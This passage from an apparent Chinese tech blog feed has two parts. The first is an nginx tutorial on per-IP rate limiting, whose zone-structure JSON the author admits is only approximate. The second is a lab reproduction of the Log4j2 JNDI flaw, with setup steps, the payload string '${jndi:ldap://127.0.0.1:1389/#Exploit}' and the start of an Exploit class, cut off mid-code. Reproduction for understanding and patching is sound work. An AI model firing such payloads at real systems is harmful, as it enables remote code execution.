&lt;p&gt;你也别抬杠说我用的工具不对，市面上但凡有的我都用了，真不行，所以我觉得还是值得写一下的。&lt;/p&gt;
&lt;h3 id="配置详解"&gt;&lt;a href="#%e9%85%8d%e7%bd%ae%e8%af%a6%e8%a7%a3" class="header-anchor"&gt;&lt;/a&gt;配置详解
&lt;/h3&gt;&lt;p&gt;其实改的地方不多，首先我们要在 nginx 默认配置文件的 &lt;code&gt;http&lt;/code&gt; 下面配置：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt; geo $limit_ip {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt; default 0; # 默认为 0，表示不受限制
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; 1.2.3.4 1; # 需要被限制的 IP
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; # 添加更多需要限制的 IP 地址
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; map $limit_ip $limit_key {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; 0 &amp;#34;&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; 1 $binary_remote_addr;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; # 定义限流区域
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; limit_req_zone $limit_key zone=mylimit:10m rate=2r/s;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;我们解释一下。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;geo 指令：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;geo 名字来源于“geographic”，意指地理位置。但是值得注意的是，geo 指令实际上只基于 IP 地址进行匹配，而 IP 地址与地理位置之间的映射需要额外的数据库或服务来提供。许多第三方服务和数据库（如 MaxMind GeoIP、GeoLite2 等）可以用来更精确地将 IP 地址转换为地理位置信息。&lt;/p&gt;
&lt;p&gt;解释一下我们上文中中 geo 的配置：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;geo $limit_ip { ... }&lt;/code&gt;：定义了一个名为 &lt;code&gt;$limit_ip&lt;/code&gt;的变量，用于根据客户端 IP 地址设置不同的值。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;default 0;&lt;/code&gt;：默认情况下，如果客户端 IP 地址不在列表中，&lt;code&gt;$limit_ip&lt;/code&gt; 的值为 0。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1.2.3.4 1;&lt;/code&gt;：如果客户端 IP 地址是 1.2.3.4，则 &lt;code&gt;$limit_ip&lt;/code&gt; 的值为 1。这里的 1 是一个标记，表示这个 IP 地址需要被限制。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;总结来说就是用 geo 指令标记需要限制的 IP 地址&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;map 指令：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;map $limit_ip $limit_key { ... }&lt;/code&gt;：根据&lt;code&gt;$limit_ip&lt;/code&gt;的值来设置另一个变量&lt;code&gt;$limit_key&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0 &amp;quot;&amp;quot;;&lt;/code&gt;：如果&lt;code&gt;$limit_ip&lt;/code&gt;的值为 0（即默认情况），则&lt;code&gt;$limit_key&lt;/code&gt;的值为空字符串。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1 $binary_remote_addr;&lt;/code&gt;：如果&lt;code&gt;$limit_ip&lt;/code&gt;的值为 1（即被标记的 IP 地址），则&lt;code&gt;$limit_key&lt;/code&gt;的值为客户端 IP 地址的二进制形式（&lt;code&gt;$binary_remote_addr&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不知道聪明的你看出来没有，&lt;strong&gt;我们这里其实设置的是 “黑名单” （即我想限制哪些 ip 我就配置哪些，剩下的不限制）&lt;/strong&gt;，在 geo 配置的 ip 到了 map 这里以后，将这些 IP 地址映射到了一个变量上，即 limit_key 。&lt;strong&gt;如果你想设置白名单（即我想让哪些 ip 不被限制我就配置哪些，剩下的都限制）不就是反过来操作嘛。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;举个白名单的例子：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;geo $limit {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt; default 1;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; 10.0.0.0/8 0;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; 192.168.0.0/24 0;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; 172.20.0.35 0;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;map $limit $limit_key {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; 0 &amp;#34;&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; 1 $binary_remote_addr;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="limit_req_zone"&gt;&lt;a href="#limit_req_zone" class="header-anchor"&gt;&lt;/a&gt;limit_req_zone
&lt;/h3&gt;&lt;p&gt;接着是整块配置的最后一行。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;limit_req_zone $limit_key zone=mylimit:10m rate=2r/s;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;使用 limit_req_zone 指令定义了一个限流区域，对标记的 IP 地址进行请求速率限制。如果一个 IP 地址不在 geo 指令中定义，则不受限制。如果一个 IP 地址被标记，则它的请求速率会被限制在每秒 2 个请求。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$limit_key&lt;/code&gt;：使用$limit_key 变量作为限流的键。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;zone=mylimit:10m&lt;/code&gt;：设置共享内存区域的大小为 10MB，用于存储限流信息。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rate=2r/s&lt;/code&gt;：设置每个键值（即每个 IP 地址）的请求速率限制为每秒 2 个请求。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其实这些指令都有一些详细参数，简单起见，我就不介绍了，都有 AI 了，需要的话自己查吧。我们说点儿重点。&lt;/p&gt;
&lt;p&gt;我猜你可能关心 &lt;code&gt;zone=mylimit&lt;/code&gt; 里面到底是什么样的，里面到底有啥 。是的，这很重要，了解清楚 zone 的结构很关键，关于 zone 的数据我没细看过，但结构大致类似这样：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;mylimit&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;123.124.210.242&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;current&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// 当前请求计数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;last&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1618305483&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// 上次请求的时间戳
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;tokens&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// 当前令牌桶中的令牌数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;delay&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="c1"&gt;// 由于限流导致的延迟（秒）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// ... 其他被限流的 IP 地址信息
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;192.168.1.100&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;current&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;last&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1618305495&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;tokens&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;delay&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;好了，到这里我们第一部分的配置就结束了，是不很简单？然后我们进行第二部分的配置，也很简单。&lt;/p&gt;
&lt;p&gt;前文我们第一部分的配置只是定义了一个限流的策略，我们还没应用呢呀。所以我们要在需要的地方把它用起来。&lt;/p&gt;
&lt;p&gt;很简单，在需要限流的 location 中这样写：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; location /abc/api {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; limit_req zone=mylimit;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;没了？就一句？&lt;/p&gt;
&lt;p&gt;对，没了。是不很简单？简单到我都不想解释，如果你理解了前文你就懂了，我就不解释了。毕竟你会用 AI 不是。&lt;/p&gt;
&lt;p&gt;然后你就可以重新加载配置，或重启 nginx 了。再然后你就要耐心等待和观察，等待之前那些讨厌的恶意 ip 再次造访，顺利地话你会在 nginx 的 error 日志中看到类似这样的信息 ：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;... [error] ..limiting requests,excess:0.996 by zone &amp;#34;mylimit&amp;#34;, client:1.2.3.4 ...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>lo4j2 漏洞复现过程及解决方案</title><link>https://xiaobox.github.io/p/2021-12-13-lo4j2-lou-dong-fu-xian-guo-cheng-ji-jie-jue-fang-an/</link><pubDate>Mon, 13 Dec 2021 08:39:02 +0000</pubDate><guid>https://xiaobox.github.io/p/2021-12-13-lo4j2-lou-dong-fu-xian-guo-cheng-ji-jie-jue-fang-an/</guid><description>&lt;img src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-13-lo4j2-lou-dong-fu-xian-guo-cheng-ji-jie-jue-fang-an/cover.jpg" alt="Featured image of post lo4j2 漏洞复现过程及解决方案" /&gt;&lt;h2 id="背景"&gt;&lt;a href="#%e8%83%8c%e6%99%af" class="header-anchor"&gt;&lt;/a&gt;背景
&lt;/h2&gt;&lt;p&gt;近日，阿里云团队发现并报告了 log4j2 的一个漏洞。&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-13-lo4j2-lou-dong-fu-xian-guo-cheng-ji-jie-jue-fang-an/001-5459bc36.jpg"&gt;&lt;/p&gt;
&lt;p&gt;由于 log4j2 是一个依赖较广的底层库，所以影响范围很大。影响程度严重，有多严重呢？这么说吧，是灾难性的。&lt;/p&gt;
&lt;h2 id="复现漏洞"&gt;&lt;a href="#%e5%a4%8d%e7%8e%b0%e6%bc%8f%e6%b4%9e" class="header-anchor"&gt;&lt;/a&gt;复现漏洞
&lt;/h2&gt;&lt;h3 id="环境介绍"&gt;&lt;a href="#%e7%8e%af%e5%a2%83%e4%bb%8b%e7%bb%8d" class="header-anchor"&gt;&lt;/a&gt;环境介绍
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;操作系统：macos Catalina&lt;/li&gt;
&lt;li&gt;jdk 版本：11.0.9.1&lt;/li&gt;
&lt;li&gt;log4j2 版本：2.13.3（使用 springboot 2.3.2.RELEASE 间接依赖）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="原理介绍"&gt;&lt;a href="#%e5%8e%9f%e7%90%86%e4%bb%8b%e7%bb%8d" class="header-anchor"&gt;&lt;/a&gt;原理介绍
&lt;/h3&gt;&lt;p&gt;引用公众号：“小林 coding” 的一张图：&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-13-lo4j2-lou-dong-fu-xian-guo-cheng-ji-jie-jue-fang-an/002-68cd7176.jpg"&gt;&lt;/p&gt;
&lt;p&gt;使用 log4j2 正常打日志的时候没事儿，比如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;logger.info(&amp;#34;this is {}&amp;#34;, &amp;#34;log4j2 demo&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;但如果你的日志中包含 “&lt;code&gt;${&lt;/code&gt;” 开头，“&lt;code&gt;}&lt;/code&gt;” 结尾的内容就会被解析出来，单独处理。&lt;/p&gt;
&lt;p&gt;而如果“&lt;code&gt;${}&lt;/code&gt;” 所包裹的内容是类似这样的：&lt;code&gt;jndi:ldap://127.0.0.1:1389/#Exploit&lt;/code&gt;，则有可能触发这个漏洞。&lt;/p&gt;
&lt;p&gt;复现具体流程是这样的：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;先写一段想要被远程执行的 java 代码，然后编译成 class 文件&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将 HTTP Server 启动，保证可以通过 Http Server 访问到这个 class 文件。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将 LDAP Server 启动，并将 Http Server 上的那个 class 文件注册上去。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;启动 java 应用程序，利用 log4j2 写日志，日志内容包括如 &lt;code&gt;${jndi:ldap://127.0.0.1:1389/#Exploit}&lt;/code&gt; 这样的内容。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;观察结果，看 class 文件中的程序逻辑有没有被执行。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="复现"&gt;&lt;a href="#%e5%a4%8d%e7%8e%b0" class="header-anchor"&gt;&lt;/a&gt;复现
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;groupId&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;org.springframework.boot&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;groupId&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;artifactId&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;spring-boot-starter-parent&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;artifactId&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;version&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;2.3.2.RELEASE&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;version&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;relativePath&lt;/span&gt;&lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;parent&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;dependency&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;groupId&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;org.springframework.boot&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;groupId&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;artifactId&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;spring-boot-starter-log4j2&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;artifactId&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;dependency&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;可以看到，我是通过 spring-boot-starter-log4j2 来间接引用的 log4j2 的。引入的具体包版本是这样的：&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-13-lo4j2-lou-dong-fu-xian-guo-cheng-ji-jie-jue-fang-an/003-3e0ce0ca.jpg"&gt;&lt;/p&gt;
&lt;p&gt;我们先写一段想要被执行的程序：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Exploit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Exploit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;执行漏洞代码&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
